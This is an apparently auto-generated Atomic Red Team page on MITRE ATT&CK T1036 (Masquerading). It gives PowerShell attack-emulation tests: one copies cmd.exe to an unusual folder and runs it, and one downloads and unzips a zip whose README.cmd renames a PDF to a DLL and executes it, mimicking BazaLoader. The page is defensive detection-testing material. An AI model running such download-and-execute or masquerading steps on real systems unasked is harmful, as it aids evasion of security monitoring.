Atomic Red Team doc generator
106 lines
3.2 KiB
Markdown
106 lines
3.2 KiB
Markdown
# T1036 - Masquerading
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## [Description from ATT&CK](https://attack.mitre.org/techniques/T1036)
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<blockquote>
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Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
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Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)
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</blockquote>
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## Atomic Tests
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- [Atomic Test #1 - System File Copied to Unusual Location](#atomic-test-1---system-file-copied-to-unusual-location)
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- [Atomic Test #2 - Malware Masquerading and Execution from Zip File](#atomic-test-2---malware-masquerading-and-execution-from-zip-file)
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<br/>
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## Atomic Test #1 - System File Copied to Unusual Location
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It may be suspicious seeing a file copy of an EXE in System32 or SysWOW64 to a non-system directory or executing from a non-system directory.
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**Supported Platforms:** Windows
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**auto_generated_guid:** 51005ac7-52e2-45e0-bdab-d17c6d4916cd
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#### Attack Commands: Run with `powershell`!
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```powershell
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copy-item "$env:windir\System32\cmd.exe" -destination "$env:allusersprofile\cmd.exe"
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start-process "$env:allusersprofile\cmd.exe"
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sleep -s 5
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stop-process -name "cmd" | out-null
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```
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#### Cleanup Commands:
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```powershell
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remove-item "$env:allusersprofile\cmd.exe" -force -erroraction silentlycontinue
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```
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<br/>
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<br/>
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## Atomic Test #2 - Malware Masquerading and Execution from Zip File
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When the file is unzipped and the README.cmd file opened, it executes and changes the .pdf to .dll and executes the dll. This is a BazaLoader technique [as reported here](https://twitter.com/ffforward/status/1481672378639912960)
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**Supported Platforms:** Windows
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**auto_generated_guid:** 4449c89b-ec82-43a4-89c1-91e2f1abeecc
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#### Inputs:
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| Name | Description | Type | Default Value |
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|------|-------------|------|---------------|
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| url | Location of zip file | url | https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036/bin/T1036.zip|
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#### Attack Commands: Run with `powershell`!
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```powershell
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Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\T1036.zip" -DestinationPath "$env:userprofile\Downloads\T1036" -Force
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cd "$env:userprofile\Downloads\T1036"
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cmd /c "$env:userprofile\Downloads\T1036\README.cmd" >$null 2>$null
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```
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#### Cleanup Commands:
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```powershell
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taskkill /IM Calculator.exe /f >$null 2>$null
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Remove-Item "$env:userprofile\Downloads\T1036" -recurse -ErrorAction Ignore
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```
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#### Dependencies: Run with `powershell`!
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##### Description: Zip file must be present.
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##### Check Prereq Commands:
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```powershell
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if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1036.zip") {exit 0} else {exit 1}
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```
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##### Get Prereq Commands:
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```powershell
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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
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Invoke-WebRequest #{url} -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1036.zip"
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```
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<br/>
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